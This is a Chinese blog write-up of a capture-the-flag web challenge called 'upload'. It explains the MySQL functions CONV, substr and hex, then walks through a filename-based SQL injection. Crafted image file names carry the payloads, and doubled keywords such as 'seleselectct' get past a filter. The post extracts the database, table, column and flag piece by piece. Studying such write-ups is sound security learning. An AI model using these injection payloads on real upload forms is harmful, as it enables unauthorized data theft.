



# 攻防世界 web进阶—upload

原创

[\\_Christo](#)  于 2019-07-18 11:32:11 发布  1175  收藏 2

文章标签: [攻防世界](#) [web 进阶](#) [upload](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_42499640/article/details/96041817](https://blog.csdn.net/weixin_42499640/article/details/96041817)

版权

这道题的大体思路是:

利用上传文件的文件名进行sql注入

这里先普及几个mysql函数的用法

### 1. CONV()

简单的来说这个函数就是用来进行\*\*\*进制的转换\*\*\*的

CONV(N,from\_base,to\_base)

N是要转换的数据，from\_base是原进制，to\_base是目标进制。

```
select conv(16,10,16);
```

```
+-----+
| conv(16,10,16) |
+-----+
| 10 |
+-----+
```

1 row in set (0.04 sec)

如果N是有符号数字，则to\_base要以负数的形式提供，否则会将N当作无符号数

```
mysql> select conv(-16,10,16);
```

```
+-----+
| conv(-16,10,16) |
+-----+
| FFFFFFFF0 |
+-----+
```

1 row in set (0.00 sec)

```
mysql> select conv(-16,10,-16);
```

```
+-----+
| conv(-16,10,-16) |
+-----+
| -10 |
+-----+
```

1 row in set (0.00 sec)

### 2.substr ()

简单来说 这个函数是用来\*\*\*搜索字符串\*\*\*的

substr(string string,num start,num length);

string为字符串;

start为起始位置;

length为长度。

mysql中的start是从1开始的，而hibernate中的start是从0开始的。

### 3.hex ()

这个就很好理解了，转为16进制嘛

OK,接下来正式来看一下题

随便照一张图片，修改文件名为

```
'+(select conv(substr(hex(database()),1,12),16,10))+'.jpg'
```

这里使用复写绕过过滤

所以是 selselectect

查看数据库名

注意，这里substr取12位是因为一旦过长（超出12），就会用科学记数法显示

得到回显

# Upload page - Welcome 123456

[Logout](#)

file list(<10 files)

選擇檔案 未選擇任何檔案

submit

131277325825392

[https://blog.csdn.net/weixin\\_42499640](https://blog.csdn.net/weixin_42499640)

将回显转为16进制，再转为字符串

將回顯轉為16進制，再轉為字符串

2进制  4进制  8进制  10进制  16进制  32进制

转换数字 131277325825392

2进制  4进制  8进制  10进制  16进制  32进制

转换结果 7765625f7570

[https://blog.csdn.net/weixin\\_42499640](https://blog.csdn.net/weixin_42499640)

输入16进制文本:

7765625f7570

转换后的文本:

web\_up

然后修改一下substr的起始位置参数，看看后边还有没有

修改为：

```
'+(select CONV(substr(hex(database()),13,12),16,10))+'.jpg
```

上传

又得到一个回显

## Upload page - Welcome 123456

[Logout](#)

file list(<10 files)

選擇檔案 未選擇任何檔案

submit

131277325825392

1819238756

用相同的方法转为字符串

得到

输入16进制副本：

6c6f6164

转换后的文本：

load

拼起来就是web\_upload

拿到库名

然后查表

```
'+(seleselectct+CONV(substr(hex((seleselectct TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
```

得到回显

114784820031327

转16进制，转字符串

得到 hello\_

继续往后查肯定还有

```
'+(seleselectct+CONV(substr(hex((seleselectct TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
```

得到回显

112615676665705

转16进制转字符串

得到flag\_i

查就完事儿了

```
'+(seleselectct+CONV(substr(hex((seleselectct TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg
```

得到回显

126853610566245

转16进制转字符串

得到s\_here

查到这儿出来一具完整的句子

hello\_flag\_is\_here

差不多就是它了

差这个表里有什么字段：

```
'+(seleselectct+CONV(substr(hex((seleselectct COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME='hello_flag_i_here' limit 0,1)),1,12),16,10))+'.jpg
```

得到回显

115858377367398

转转转

得到i\_am\_f

一看就没查完，接着查

```
'+(seleselectct+CONV(substr(hex((seleselectct COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg
```

得到回显

7102823

转

lag

拼起来： i\_am\_flag

最后一步了，查flag

```
'+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10)+'
```

得到回显

36427215695199

转

!!@m

接着查

```
'+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10)+'
```

得到回显

92806431727430

转

The\_F

继续

```
'+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10)+'
```

得到回显

560750951

转

!lag

拼起来: !!\_@m\_The\_F!lag

flag就出来了